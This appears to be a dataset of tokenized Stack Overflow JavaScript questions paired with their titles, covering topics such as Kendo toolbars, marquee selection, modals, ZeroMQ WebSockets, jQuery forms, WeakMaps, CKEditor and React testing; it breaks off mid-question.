`` wallsSelect '' ) ; index = 0 ; var wallsList = gameInstance.SendMessage ( 'WallCreator ' , 'GetGameObjects ' ) ; //would like to get back our list of walls and populate our Select with it for ( item in wallsList ) { var newOption = document.createElement ( `` option '' ) ; newOption.value = index ; newOption.innerHTML = item ; wallsSelect.appendChild ( newOption ) ; index++ ; } public List < string > GetGameObjects ( ) { List < string > goNames = new List < string > ( ) ; foreach ( var item in goList ) { goNames.Add ( item.name ) ; } Debug.Log ( `` Accessed GetGameObjects method . GameObject count = `` + goNames.Count.ToString ( ) ) ; //The object is instanciated and return the right count number so it does work without a problem return goNames ; }",Access C # List from JavaScript "JS : I am trying to bind click event to buttons I have in kendo Tool bar . I am creating button using template.I am using Kendo Jquery with angular.Any help will be highly appreciated.So far I have tried this using Kendo Jquery Documentation : Dojo for the same : https : //dojo.telerik.com/ @ amitdwivedi/uDOFeWev < ! DOCTYPE html > < html > < head > < base href= '' https : //demos.telerik.com/kendo-ui/toolbar/index '' > < style > html { font-size : 14px ; font-family : Arial , Helvetica , sans-serif ; } < /style > < title > < /title > < link rel= '' stylesheet '' href= '' https : //kendo.cdn.telerik.com/2019.3.1023/styles/kendo.default-v2.min.css '' / > < script src= '' https : //kendo.cdn.telerik.com/2019.3.1023/js/jquery.min.js '' > < /script > < script src= '' https : //kendo.cdn.telerik.com/2019.3.1023/js/kendo.all.min.js '' > < /script > < /head > < body > < div id= '' example '' > < div class= '' demo-section k-content wide '' > < div id= '' toolbar '' > < /div > < /div > < script > $ ( document ) .ready ( function ( ) { $ ( `` # toolbar '' ) .kendoToolBar ( { items : [ { template : `` < a href= '' class= ' k-icon-text-button k-button k-button-icontext k-toolbar-first-visible ' > < span class= ' k-icon k-i-save ' > < /span > Save < /a > '' } , { template : `` < a href= '' class= ' k-icon-text-button k-button k-button-icontext k-toolbar-first-visible ' > < span class= ' k-icon k-i-arrows-swap ' > < /span > Top/Bottom < /a > '' } , { template : `` < a href= '' class= ' k-icon-text-button k-button k-button-icontext k-toolbar-first-visible ' > < span class= ' k-icon k-i-pencil ' > < /span > Edit < /a > '' } , { template : `` < a href= '' class= ' k-icon-text-button k-button k-button-icontext k-toolbar-first-visible ' > < span class= ' k-icon k-i-calendar ' > < /span > Schedule < /a > '' , click : onButtonClick ( ) } , { type : `` splitButton '' , text : `` Download '' , menuButtons : [ { text : `` PDF '' , icon : `` k-i-pdf '' } , { text : `` EXCEL '' , icon : `` k-i-excel '' } ] } , { type : `` button '' , text : `` Action '' , overflow : `` always '' } , { type : `` button '' , text : `` Another Action '' , overflow : `` always '' } , { type : `` button '' , text : `` Something else here '' , overflow : `` always '' } ] } ) ; $ ( `` # dropdown '' ) .kendoDropDownList ( { optionLabel : `` Paragraph '' , dataTextField : `` text '' , dataValueField : `` value '' , dataSource : [ { text : `` Heading 1 '' , value : 1 } , { text : `` Heading 2 '' , value : 2 } , { text : `` Heading 3 '' , value : 3 } , { text : `` Title '' , value : 4 } , { text : `` Subtitle '' , value : 5 } ] } ) ; } ) ; function onButtonClick ( ) { alert ( 'clicked ' ) } < /script > < /div > < /body > < /html >",Bind Click Event to Kendo ToolBar "JS : I am writing my own drag and drop file manager . This includes a javascript marquee selection box which when active calculates the elements ( files ) that are intersected and selects them by adding a class to them.I currently perform the check during a mousemove handler , loop through an array of element coordinates and determine which ones are intersected by the drag and drop selection box.The function currently looks like this : There is lots of dirty logic in the code above which ensures that the DOM is only manipulated when the selection changes . This is not relevant to the question and can be exluded . The important part is the intersection logic which checks the coordinates of the element versus the coordinates of the marquee selection box.Also please note that the item dimensions are fixed at 201px width by 221px height.I have tested this and all works perfectly , however I have the need to support potentially thousands of files which would mean that at some point we will start seeing UI performance decrease.I would like to know if there is anyway to perform intersection detection without looping through the coordinates of each element.The coordinates of the marquee box are defined as follows at any given time : And the coordinates of each item , stored in the self.cache.items array are defined as follows : So the information available will always be the actual grid position ( row/column ) as well as the physical item position ( left and top offsets in pixels within the grid ) .So to summarize , the question is , is there anyway to detect item intersection from a set of marquee selection box coordinates as defined above without looping through the whole array of item coordinates every time the mousemove event fires ? Thanks in advance for any help . selectItems : function ( voidindex ) { var self = this ; var coords = self.cache.selectioncoords ; for ( var i=0 , len = self.cache.items.length ; i < len ; i++ ) { var item = self.cache.items [ i ] ; var itemcoords = item.box_pos ; if ( coords.topleft.x < ( itemcoords.x+201 ) & & coords.topright.x > itemcoords.x & & coords.topleft.y < ( itemcoords.y+221 ) & & coords.bottomleft.y > itemcoords.y ) { if ( ! item.selected ) { item.selected = true ; item.html.addClass ( 'selected ' ) .removeClass ( 'activebutton ' ) ; self.cache.selecteditems.push ( i ) ; self.setInfo ( ) ; } } else { if ( item.selected ) { item.selected = false ; if ( ! voidindex || voidindex ! == i ) { item.html.removeClass ( 'selected ' ) ; } var removeindex = self.cache.selecteditems.indexOf ( i ) ; self.cache.selecteditems.splice ( removeindex , 1 ) ; self.setInfo ( ) ; } } } } , selectioncoords : { topleft : { x : 0 , y : 0 } , topright : { x : 0 , y : 0 } , bottomleft : { x : 0 , y : 0 } , bottomright : { x : 0 , y : 0 } , width : 0 , height : 0 } item : { box_pos : { x : 0 , y : 0 } , grid_pos : { row : 1 , column : 1 } }",How to find selected elements within a javascript marquee selection box without using a loop ? "JS : I have created a simple modal dialog box as shown in the code below , which I will use to add help at certain points of a web form . I would like to add a sliding animation effect that causes the dialog to slide into the screen when the modal is opening , and slide back out when the modal is closed : I ca n't find a solution for what I want to achieve . My modal code currently looks like this : function openModal ( mod_name ) { var modal = document.getElementById ( mod_name ) ; modal.style.display = `` block '' ; window.onclick = function ( event ) { if ( event.target == modal ) { modal.style.display = `` none '' ; } } } function closeModal ( mod_name ) { var modal = document.getElementById ( mod_name ) ; modal.style.display = `` none '' ; } < style > body { font-family : Arial , Helvetica , sans-serif ; background-color : red ; } .modal { display : none ; position : fixed ; z-index : 1 ; padding-top : 100px ; left : 0 ; top : 0 ; width : 100 % ; height : 100 % ; overflow : auto ; background-color : rgba ( 255,255,255,0.8 ) ; } .modal-content { margin : auto ; padding : 20px ; width : 80 % ; } .close { color : # 323232 ; float : right ; font-size : 28px ; font-weight : bold ; } .close : hover , .close : focus { color : # 424242 ; text-decoration : none ; cursor : pointer ; } < /style > < h2 > Modal Example < /h2 > < button id= '' oModal '' onclick= '' openModal ( 'myModal1 ' ) '' > Open Modal < /button > < div id= '' myModal1 '' class= '' modal modal_move '' > < div class= '' modal-content '' > < button id= '' cModal '' class= '' close '' onclick= '' closeModal ( 'myModal1 ' ) '' > & times ; < /button > < p > Some text in the Modal ... < /p > < /div > < /div >",Modal box with sliding animation in JavaScript and HTML "JS : I have the following extract of code : This function returns me the index of the first element which has the property fakeObject with the true value.What I want is something like this , but instead of looking for the all items of the array , I want to start in a specific position ( startPosition ) .Note : This is typescript but the solution could be in javascript vanilla.Thank you . private getNextFakeLinePosition ( startPosition : number ) : number { return this.models.findIndex ( m = > m.fakeObject ) ; }","Use findIndex , but start looking in a specific position" "JS : Im am trying to implement push integration using php and native zmq . I have successfully send send my message to server , but my problem is I can not push the message to browser using js Websocket ( ) . I says WebSocket connection to 'ws : //127.0.0.1:8080/ ' failed : Error during WebSocket handshake : Invalid status linehere is my code for client : Client here is my server : and here is my owner.php i 'm expecting the data to be send thru Websocket in browser : Please do tell me what I am missing . thank you . < ? php try { function send ( $ data ) { $ context = new ZMQContext ( ) ; $ push = new ZMQSocket ( $ context , ZMQ : :SOCKET_PUSH ) ; $ push- > connect ( `` tcp : //localhost:5555 '' ) ; $ push- > send ( $ data ) ; } if ( isset ( $ _POST [ `` username '' ] ) ) { $ envelope = array ( `` from '' = > `` client '' , `` to '' = > `` owner '' , `` msg '' = > $ _POST [ `` username '' ] ) ; send ( json_encode ( $ envelope ) ) ; # send the data to server } } catch ( Exception $ e ) { echo $ e- > getMessage ( ) ; } ? > $ context = new ZMQContext ( ) ; $ pull = new ZMQSocket ( $ context , ZMQ : :SOCKET_PULL ) ; $ pull- > bind ( `` tcp : //*:5555 '' ) ; # this will be my pull socket from client $ push = new ZMQSocket ( $ context , ZMQ : :SOCKET_PUSH ) ; $ push- > bind ( `` tcp : //127.0.0.1:8080 '' ) ; # this will be the push socket to ownerwhile ( true ) { $ data = $ pull- > recv ( ) ; # when I receive the data decode it $ parse_data = json_decode ( $ parse_data ) ; if ( $ parse_data [ `` to '' ] == `` owner '' ) { $ push- > send ( $ parse_data [ `` msg '' ] ) ; # forward the data to the owner } printf ( `` Recieve : % s.\n '' , $ data ) ; } < html > < head > < meta charset= '' UTF-8 '' > < title > < /title > < /head > < body > < h2 > Message < /h2 > < ul id= '' messagelog '' > < /ul > < script > var logger = document.getElementById ( `` messagelog '' ) ; var conn = new WebSocket ( `` ws : //127.0.0.1:8080 '' ) ; # the error is pointing here . conn.onOpen = function ( e ) { console.log ( `` connection established '' ) ; } conn.onMessage = function ( data ) { console.log ( `` recieved : `` , data ) ; } conn.onError = function ( e ) { console.log ( `` connection error : '' , e ) ; } conn.onClose = function ( e ) { console.log ( `` connection closed~ '' ) ; } < /script > < /body >",php ZMQ push integration over http "JS : So , the challenge is that we are trying to detect if a string matches a fixed phone number pattern , this is a simple string pattern.The pattern is : Where `` d `` represents a decimal digit and the minus symbol represents itself , `` - '' The patterns that are currently used for testing are , but can be increased if it is felt that there are not enough patterns to debunk an incorrect format.The goal , the answer that I seek , is to find the method that executes the fastest to return a boolean where true means that the pattern is good and false means that the pattern is bad.Here is my current solutionIt is available on jsfiddle along with the test patternsI have a jsperf created where I will add further suggested method so that the execution speeds of the methods can be compared to determine which is fastestYour method can be any valid javascript code that will execute in the a browser , you can use ECMA5 and target modern browsers if you so wish , or use cross-browser standards , the answer will not be deemed incorrect if it does not run on IE6 for example . You may also use any 3rd party libraries that you wish , i.e . jquery , lodash , underscore , etc etc . The final requirement is that the code must not fail to execute on Chrome v25 or Firefox v20I anything is unclear then please feel free to leave a comment and I will update my question to clarify.Answers that differ by only micro-optimisations countPlease do n't change your answer if it working and has been added to the performance chart . You can submit more than 1 answer.Update : Ok a week has passed and now it is time to announce the answer that I will choose.What has been learnt from this exercise ? It would seem that regexs are comparatively slow , although fast enough for most tasks , when compared to a hand built javascript routine . ( at least for small string patterns ) There was no solution using any 3rd party library , jquery , undescore etc , nothing . Not so much of a surprise , but I though that someone may have tried.Unrolled loops still appear to be king . Many say that it is not necessary these days as the browsers are so advanced , but this test still showed them to be king of the pile.I 'd like to thank all those that engaged in this question , and especially to those that actually submitted code for testing . ddd-ddd-dddd `` 012-345-6789 '' '' 0124-345-6789 '' '' 012-3456-6789 '' '' 012-345-67890 '' '' 01a-345-6789 '' '' 012-34B-6789 '' '' 012-345-678C '' '' 012 '' function matchesPattern ( pattern ) { if ( pattern.length ! == 12 ) { return false ; } var i = 0 , code ; while ( i < 12 ) { code = pattern.charCodeAt ( i ) ; if ( i > 8 || i % 4 ! == 3 ) { if ( code < 48 || code > 57 ) { return false ; } } else if ( code ! == 45 ) { return false ; } i += 1 ; } return true ; }",Fastest method for testing a fixed phone number pattern "JS : I have this methodwhich should return an object . I 'm not sure what should it return if no element is found - null , undefined or false ? I 've rejected 'false ' option since I do n't think it suits here so I 'm choosing betwen null or undefined . I 've read that 'undefined ' should be used where some kind of exception or error occurs , so currently this method returns null . Is that OK ? var link = this.find_first_link ( selectedElem ) ;",What should search method return if nothing found ? "JS : The following code is intended to do a purely ajax POST request , instead it seems to do the POST via ajax and then the browser navigates to the response.The HTML ... The jQuery ... As far as I understand it , the return false ; line should mean that no matter what , any calls to the submit function or clicks on the 'Submit ' button or the hitting of enter means that my function will execute and the browser will not navigate to /bin/add or /bin/remove . But for some reason , the browser is changing pages.Any idea what I 'm doing wrong here ? Thanks . < div id= '' bin '' > < form class= '' add '' method= '' post '' action= '' /bin/add/ '' > < p > I 'm interested ! Save for later. < /p > < input type= '' hidden '' name= '' product_id '' value= '' 23423 '' > < input type= '' submit '' value= '' Save '' > < /form > < form style= '' display : none ; '' class= '' remove '' method= '' post '' action= '' /bin/remove/ '' > < p > I changed my mind -- I 'm not interested. < /p > < input type= '' hidden '' name= '' product_id '' value= '' 23423 '' > < input type= '' submit '' value= '' Unsave '' > < /form > < /div > $ ( ' # bin form ' ) .submit ( function ( ) { $ .post ( $ ( this ) .attr ( 'action ' ) , { success : function ( data ) { $ ( this ) .hide ( ) .siblings ( 'form ' ) .show ( ) } , data : $ ( this ) .serialize ( ) } ) ; return false ; } )",jQuery Submit Refreshing Page "JS : I am reading MDN docs for better understanding javascript . This is an excerpt from thereIn the worst case i thought it is going to print 0 , 1 , 2 , `` foo '' , `` arrCustom '' but it also prints objCustom.Update:1 ) How can i visualize the prototype chain from iterable to Array all the way upto Object . Like is there any iterable.getParent method or iterable.myparent property which points to parent on it.2 ) why it does not print array functions such as toString , sort they are also on Array.prototype.3 ) Do i need to use hasOwnProperty always when someone add something to Array.prototype property . Object.prototype.objCustom = function ( ) { } ; Array.prototype.arrCustom = function ( ) { } ; let iterable = [ 3 , 5 , 7 ] ; iterable.foo = 'hello ' ; for ( let i in iterable ) { console.log ( i ) ; // logs 0 , 1 , 2 , `` foo '' , `` arrCustom '' , `` objCustom '' }",Javascript for ... in loop with Object.prototype and Array.prototype properties "JS : Could someone go into the history/reasons why interacting with form elements using the NAME has gone out of practice and document.getElementById has taken over.What exactly historically happened that prompted this change and shift.And finally , has there been a shift or are both still recommended ways of doing things ? According to some forum discussions document.form.name is not recognized by all browsers . Is this the case ? See : from : http : //forums.devshed.com/javascript-development-115/document-getelementbyid-vs-document-form-name-element-432059.html Document.getElementById vs document.form.name `` I 've been told in the past that you should not use `` document.form_name.element_name '' compared to `` document.getElementById ( ) '' , as the first is not recognized by all browsers. ``",Reason why most form javascript uses ID instead of NAME "JS : Hi I am using Angular 2 pipe to return the keys of object , it is an impure pipe and It is being executed multiple times which is blocking some other script , how can I avoid multiple executions of the impure pipes ? my code is as follows : import { Pipe , PipeTransform } from ' @ angular/core ' ; @ Pipe ( { name : 'NgforObjPipe ' , pure : true } ) export class NgforObjPipe implements PipeTransform { transform ( value , args : string [ ] ) : any { let keys = [ ] ; for ( let key in value ) { keys.push ( { key : key , value : value [ key ] } ) ; } console.log ( 'pipeeeeeeeeeeeeeee ' , keys ) ; return keys ; } }",how to avoid multiple executions of a impure pipe in angular 2 ? JS : I want to wrap each character to wrapped in a < span > < /span > and desire output is < span > a < /span > < span > b < /span > < span > c < /span > .I have tried following but its not helping.JSFIDDLEIt outputs following ; which is not what I required . Any help ? < div contenteditable= '' true '' id= '' text1 '' type= '' text '' placeholder= '' type something ... '' > $ ( function ( ) { $ ( `` # text1 '' ) .keyup ( function ( event ) { $ ( this ) .wrapInner ( `` < span class='test ' > < /span > '' ) } ) ; } ) ; < span class= '' test '' > < span class= '' test '' > < span class= '' test '' > < span class= '' test '' > ffdf < /span > < /span > < /span > < /span >,Wrap individual character in < span > on keyUp using jQuery JS : Heres ' the fiddle : http : //jsfiddle.net/leeny/6VugZ/How exactly is this cryptic piece of code working ? alert ( ( ! [ ] + [ ] ) [ [ ] - [ ] ] + ( ( [ ] + [ ] ) + ( [ ] [ [ ] ] ) ) [ [ ] - [ ] ] + ( ( [ ] + [ ] ) + ( [ ] [ [ ] ] ) ) [ ! ! [ ] - [ ] ] ) ;,How/why does this javascript code print 'fun ' ? "JS : I have an array of hashes , like this : I want to throw out duplicate hashes . Set does n't work because hashes are unique objects.I feel stuck and need a kick to think . Please advise ! [ { id : `` 4bf58dd8d48988d110941735 '' , name : `` italy '' } , { id : `` 4bf58dd8d48988d1c6941735 '' , name : `` skandi '' } , { id : `` 4bf58dd8d48988d147941735 '' , name : `` diner '' } , { id : `` 4bf58dd8d48988d110941735 '' , name : `` italy '' } , { id : `` 4bf58dd8d48988d1c4941735 '' , name : `` resto '' } , { id : `` 4bf58dd8d48988d14a941735 '' , name : `` vietnam '' } , { id : `` 4bf58dd8d48988d1ce941735 '' , name : `` fish '' } , { id : `` 4bf58dd8d48988d1c4941735 '' , name : `` resto '' } , { id : `` 4bf58dd8d48988d1c4941735 '' , name : `` resto '' } ]",Filtering duplicate hashes from array of hashes - Javascript "JS : I 'm using Raphael JS 2.0 and would like to simulate the end of a drag on another element and then remove the current element being handled . If it can be done using jquery that would be great as well.Something like this : I get errors because the child element is the this in the `` move '' part of a drag . But it is being used to interact with currentShift.I know there are some other methods of getting a similar effect , but I would like to know if there is some way to imitate the drag end for an arbitrary element . var child = currentShift.data ( 'endChild ' ) ; var newX = child.attr ( ' x ' ) ; if ( this ! == currentShift ) { newX = child.attr ( ' x ' ) -day ; } currentShift.attr ( { y : child.attr ( ' y ' ) , x : newX , height : child.attr ( 'height ' ) } ) ; $ ( currentShift.node ) .mouseup ( ) ; child.remove ( ) ;",How to simulate a drag end event in Raphael JS ? "JS : I 'm new to JavaScript objects . I want to create an object like the JavaScript Math object . But it is not working ( it returns nothing ) .I want to create an object called Area and give it the methods square and rectangle . I want to use it the same way the Math object is used . To find the area of a square I would do : I chose areas for the example because it 's simple.My script is as follows : var squareArea = Area.square ( 10 ) ; // 100 < script > window.onload = function ( ) { function Area ( ) { function square ( a ) { area = a * a ; return area ; } function rectangle ( a , b ) { area = a * b ; return area ; } } rectangleArea = Area.rectangle ( 10 , 20 ) ; alert ( rectangleArea ) ; } < /script >",JavaScript Object - Call without creating it ( like Math object ) "JS : I have a question about JavaScript . When I declarate new variable and assign to it new instance of class , if error is thrown variable is getting completely unusable . Code below should throw an error If I try to assign something to it , JavaScript will throw an error.myClassInstance = '123 ' Uncaught ReferenceError : myClassInstance is not definedThen I tried to define variablelet myClassInstance = '123 ' Uncaught SyntaxError : Identifier 'myClassInstance ' has already been declaredVariable also can not be deleted . Is there anything that we can do with that issue ? I 'm just curious , of course I will handle passing undefined as config to constructor.EDIT : I also tried using var , I can then reuse myClassInstance . I wonder why if I use let that variable can not be deleted , declarated or new value can not be reassigned.EDIT 2 : I can handle passing undefined or pass empty object . Just pure curiosity what happens in JS console with that variable , also code will not execute if you paste everything at once class MyClass { constructor ( config ) { this.someProperty = config.someProperty || `` ; } } let myClassInstance = new MyClass ( ) ;",Variable can not be declared or modified "JS : I am attempting to open a local folder by setting window.location.href to file : //folder/ , which I can do in IE , can not in Chrome.My goal is to catch whenever a browser blocks local file access so I can call some other code . Chrome 's console is showing me 'Not allowed to load local resource : ... ' but I am not able to catch it with a try/catch blockAttempt : How can I detect when a browser does not allow local resource access ? function OpenLocalResource ( ) { try { //Fails in Chrome ( expected ) window.location.href = 'file : //folder/whatever/ ' ; } catch ( err ) { //Chrome gives script error 'Not allowed to load local resource : ' //I am expecting to hit this catch block but it does not alert ( `` Error hit ! `` ) ; } } OpenLocalResource ( ) ;",Can not catch Chrome 's ' Can not Load Local Resource ' error in try/catch block "JS : I would like to ask if an element will respond to a live event , without actually triggering that event.HTMLJSThis is a somewhat simple and contrived example , but I am looking for a replacement that actually works for __willRespondToLiveEvent__ psuedo code.Is there anyway for jQuery to cough up this info without actually triggering the event ? < div id= '' foo '' > Click me ! < /div > $ ( ' # foo ' ) .live ( 'mousedown ' , function ( ) { console.log ( 'triggered mousedown event ' ) ; } if ( $ ( ' # foo ' ) .__willRespondToLiveEvent__ ( 'mousedown ' ) ) { console.log ( ' # foo is wired up properly ' ) ; }",jQuery : live events and querying if an element will respond to an event "JS : Please be aware I am working with tutorial code here , so not everything is strictly correct , but it works . Most of the time.I have a component class that is decorated as follows : And it was used like this : Then I added a new component class , but its decorator has : selector : `` type-here '' When I run the application with npm start , I get a legion of errors in the browser , starting with : The selector `` click-here '' did not match any elementsWhy does every selector have to match an element ? Working like this is not feasible ; there must be a way to be able to have multiple Component decorators , all with different selector values , and only use some of them . How would I achieve that ? What am I doing wrong that the tutorial has n't included a correct version of ? Must each Component have a name or something ? @ Component ( { selector : `` click-here '' , template : ` < button ( click ) = `` onClickThere ( $ event ) '' > Click here ! < /button > { { clickMessage } } ` } ) < body > < click-here > Loading ... < /click-here > < /body >",Why do all components with Component selectors have to be used in an Angular 2 application ? "JS : I am experiencing with JavaScript weakmaps , after trying this code in google chrome developer console , running with -- js-flags= '' -- expose-gc '' , I do n't understand why the weakmap keep having a reference to a.b if a is gc'ed . var a = { listener : function ( ) { console.log ( ' A ' ) } } a.b = { listener : function ( ) { console.log ( ' B ' ) } } var map = new WeakMap ( ) map.set ( a.b , [ ] ) map.set ( a , [ a.b.listener ] ) console.log ( map ) // has both a and a.bgc ( ) console.log ( map ) // still have both a and a.ba = undefinedgc ( ) console.log ( map ) // only have a.b : why does still have a reference to a.b ? Should'nt be erased ?",JavaScript WeakMap keep referencing gc'ed objects "JS : How do I get the output from ckeditor as XML instead of HTML ? I thought I could just use editor.data.processor=new XmlDataProcessor ( ) ; but that only seems to work for input where the editor now requires XML when calling editor.setData ( ) but editor.getData ( ) still returns HTML , instead of XML . The data is not contained in a root element , and < img > tags are not closed.The toData method which should convert to XML , is implemented as follows which does n't look like something which could ever work since it tries to use _htmlWriter to convert to XML . So it just looks like a feature nobody ever implemented . toData ( viewFragment ) { // Convert view DocumentFragment to DOM DocumentFragment . const domFragment = this._domConverter.viewToDom ( viewFragment , document ) ; // Convert DOM DocumentFragment to XML output . // There is no need to use dedicated for XML serializing method because BasicHtmlWriter works well in this case . return this._htmlWriter.getHtml ( domFragment ) ; }",Getting xml from ckeditor 5 JS : I 'm trying to make an each method like in jQuery . I tried many things in the for loop and in the callback but I got errors . I 'm sure this is something to do with the 'this ' context . Element.prototype.each = function ( fn ) { for ( var i = 0 ; i < this.length ; i++ ) { fn ( i ) ; } } ; var li = document.getElementsByTagName ( 'li ' ) ; li.each ( function ( i ) { this.style.borderBottom = '1px solid red ' ; } ) ;,"Trying to make an each method , like in jQuery , with vanilla JS" "JS : I have a Rails app in which I have a form that looks something like this : The parent entity input always works . It is a remote form , using remote : true . When I add a parent object it gets automatically added to the list with the other parent objects . Each parent can have many children , they are displayed and listed when the user expands the corresponding parent list item ( like the example above ) . Users can add more children by entering a value in the Child inline input , this form is also using remote : true.The problem I 'm having is that add children element does n't always work on the first page load . It works however if I refresh the page . I 'm having a hard time to understand why this is . When I create a parent object the following js.erb is rendered : The relevant parts of localized_strings/localized_string looks like this : And translations/inline_form looks like this : The faulty flow looks like this : Page load and I create a parent object ( LocalizedString ) It gets added to the list correctly.Expanding the new parent list element works as expected.When clicking on the submit button for the child ( Translation ) does nothing . Hope my question is understandable . Please comment if you have any comments or need clarification . I 'm tankful for all ideas . [ Parent list item 1 ] [ Parent list item 2 ] [ Parent list item 3 - expanded ] [ Child list item 1 ] Child inline input Child submit button -- -- -- -- -- -- -- -- -- [ Parent input ] Parent submit button # screen_table_id is the list with parent objects. # localized_strings/localized_string is the tr with the object $ ( `` # screen_table_ < % = @ localized_string.screen.id % > '' ) .append ( `` < % = j render partial : 'localized_strings/localized_string ' , locals : { screen : @ localized_string.screen , localized_string : @ localized_string } % > '' ) ; # I use the best in place gem to manage inline editingjQuery ( '.best_in_place ' ) .best_in_place ( ) % tbody { id : `` localized_string_parent_ # { localized_string.id } '' } % tr % td.expandable-column Clicking this reveals the child objects/ The list of children is initially hidden % tbody.hidden [ localized_string ] - if localized_string.translations.any ? / Renders the children % tr / This form does n't work on page load , after I have added the parent = render `` translations/inline_form '' , app : localized_string.screen.app , screen : localized_string.screen , localized_string : localized_string , translation : localized_string.translations.build = form_for [ app , screen , localized_string , translation ] , remote : true do |f| % td { colspan : 2 } .inline-form-group = f.text_field : value , class : `` form-control inline-form-control '' , placeholder : `` Translation value '' , id : `` localized_string_input_ # { localized_string.id } '' % td / Sometimes nothing happens when I click Submit . = f.submit 'Add translation ' , class : `` btn ban-success-outline ''",Rails : Nested remote form does n't work on page load "JS : Based on the scaffolder mern.io I was going through the code to see what was going on . I stumbled upon a .need method which looks like something related to es6 classes . I ca n't seem to find any usable info anywhere , so I ask what is the .need method ? You can get the project up and running very easily with these commands . class PostContainer extends Component { //do class setup stuff here } PostContainer.need = [ ( ) = > { return Actions.fetchPosts ( ) ; } ] ; npm install -g mern-climern YourAppName",Using mern.io scaffolder tool - What is the .need method all about ? "JS : The setupI have implemented an `` onclick '' method which calls a bit of third party code asynchronously . It provides a callback , and they suggest using a simple function that sets document.location = href to make sure the page only changes after their method has returned . This works fine if you want to open the link in the same tab , but if you want to open in a new tab then one of two things happens : The problemsIf you middle-clicked , Ctrl+click , Shift+click , or Cmd+click it opens in the same tab after having executed the callback function.If you right-click and select 'Open in new tab ' then the onclick code is not called at all.The questionsIs it possible to have the callback function return true to the onclick event ( in effect , making the entire chain of events synchronous ) ? Or , can you think of a way to preserve standard browser behavior in Case 1 above ? The codehttps : //developers.google.com/analytics/devguides/collection/analyticsjs/enhanced-ecommerce : < a href= '' /product_details ? id=P12345 '' onclick= '' clicked ( ) ; return ! ga.loaded ; '' > Product Link < /a > < script > // Called when a link to a product is clicked.function clicked ( ) { ga ( 'ec : addProduct ' , { 'id ' : 'P12345 ' , 'name ' : 'Android Warhol T-Shirt ' , 'category ' : 'Apparel ' , 'brand ' : 'Google ' , 'variant ' : 'black ' , 'position ' : 1 } ) ; ga ( 'ec : setAction ' , 'click ' , { list : 'Search Results ' } ) ; // Send click with an event , then send user to product page . ga ( 'send ' , 'event ' , 'UX ' , 'click ' , 'Results ' , { 'hitCallback ' : function ( ) { document.location = '/product_details ? id=P12345 ' ; } } ) ; } < /script >",How do I honor Open in new tab requests when onclick event executes asynchronous code ? "JS : Consider the following : If o is the prototype of p , then what is p with regard to o ? var o = { foo : 'bar ' } ; var p = Object.create ( o ) ;",What 's the opposite of `` prototype '' ? "JS : I am running the following JavaScript in both Firefox Developer Edition 38 and Internet Explorer 8 and 9.In Firefox , I get : In IE , I get : So , apparently in Firefox , an HTML comment is getting added in as an element of this object but in IE , it 's not . Why is this behaving this way , is there a bug , or is there another way I should be creating this object ? NOTE : I tried $ .parseHTML ( myHtmlString ) but it does the same thing.UPDATE : This answer How does jQuery treat comment elements ? provides a potential workaround . console.log ( '+++++++++++++++++++++++++++++++ ' ) ; console.log ( 'jquery version = ' + $ .fn.jquery ) ; var myHtmlString = `` < ! -- my comment -- > '' + `` < optgroup label='my label ' > '' + `` < option value= ' 1 ' > option one < /option > '' + `` < /optgroup > '' ; console.log ( $ ( myHtmlString ) ) ; console.log ( $ ( myHtmlString ) [ 0 ] ) ; console.log ( $ ( myHtmlString ) [ 1 ] ) ; console.log ( $ ( myHtmlString ) .length ) ;",Does $ ( ) work differently in Internet Explorer ? "JS : Question : How do I render my TableBody component a table element , instead of the default div that react-testing-library uses ? Supplemental Information : I tried passing in options into the react-testing-library , render ( ) , function but I ca n't seem to get it working.I also tried digging around in the react-testing-library tests to find examples , but did n't find anything . From the react-testing-library docs You wont often need to specify options , but if you ever do , here are the available options which you could provide as a second argument to render . container : By default , react-testing-library will create a div and append that div to the document.body and this is where your react component will be rendered . If you provide your own HTMLElement container via this option , it will not be appended to the document.body automatically . baseElement : If the container is specified , then this defaults to that , otherwise this defaults to document.documentElement . This is used as the base element for the queries as well as what is printed when you use debug ( ) .My testing code using Jest : Warning : validateDOMNesting ( ... ) : < tbody > can not appear as a child of < div > . in tbody ( created by TableBody ) in TableBody ( created by TableBody ) in TableBody // react-testing-libraryfunction render ( ui : React.ReactElement < any > , options ? : { /* You wont often use this , expand below for docs on options */ } , ) : RenderResult import React from `` react '' ; import { render , cleanup , fireEvent } from `` react-testing-library '' ; import TableBody from `` ../TableBody '' ; import listingDataMock from `` ../__mocks__/TableBody-listing-data '' ; afterEach ( cleanup ) ; describe ( `` TableBody '' , ( ) = > { test ( `` Snapshot '' , ( ) = > { //Arrange -- -- -- -- -- -- -- const listingData = listingDataMock ; const tableBodyKey = `` candidateId '' ; const props = { listingData , tableBodyKey } ; const { container } = render ( < TableBody { ... props } / > ) ; //Assert -- -- -- -- -- -- -- - expect ( container ) .toMatchSnapshot ( ) ; } ) ; } ) ;",react-testing-library validateDOMNesting Error "JS : There is non-SPA scenario with sanitized yet random HTML string as an input : The string originates from WYSIWYG editor and contains nested regular HTML tags and a limited number of custom elements ( components ) that should be rendered to widgets.Currently HTML snippets like this one are supposed to be rendered on server side ( Express ) separately but will eventually be rendered on client side too as a part of isomorphic application.I intend use React ( or React-like framework ) to implement components because it presumably suits the case - it is isomorphic and renders partials well.The problem is that substrings likeshould becomeJSX/TSX component at some point , and I 'm not sure what is the right way to do this , but I would expect it to be a common task.How can this case be solved in React ? < p > ... < /p > < p > ... < /p > < gallery image-ids= '' '' / > < player video-id= '' ... '' / > < p > ... < /p > < gallery image-ids= '' [ 1 , 3 ] '' / > < Gallery imageIds= { [ 1 , 3 ] } / >",Render HTML string in isomorphic React app "JS : I 'm trying to get the current value of the hovered element of a datalist . So if I open the datalist with values in it and just move my mouse over them , I want the values to appear in the console . This is my attempt : And here is a fiddle : https : //jsfiddle.net/sshcvr5q/ < input list= '' browsers '' id= '' browser '' > < datalist id= '' browsers '' > < option value= '' Internet Explorer '' > < option value= '' Firefox '' > < option value= '' Chrome '' > < option value= '' Opera '' > < option value= '' Safari '' > < /datalist > $ ( `` # browsers '' ) .on ( `` mouseover '' , function ( ) { console.log ( $ ( this ) .value ( ) ) ; } ) ;",Get current value from datalist onhover "JS : What is the difference if any between exporting an es6 default class inline with its definition versus at the end of the file after its definition ? Following are two examples I came across in React tutorials.Ex . 1 : Inline with Class Ex . 2 : End of fileIf there is no difference , then it seems the first example is more efficient and concise . export default class App extends React.Component { // class definition omitted } class App extends React.Component [ // class definition omitted } export default App ; // is this different somehow ?",Export an es6 default class inline with definition or at end of file ? "JS : I 'm trying to make a simple Next.js app which uses Firebase auth and runs from a Docker container.The following works fine locally ( running from a built docker container ) . However , when I deploy to Heroku or Google 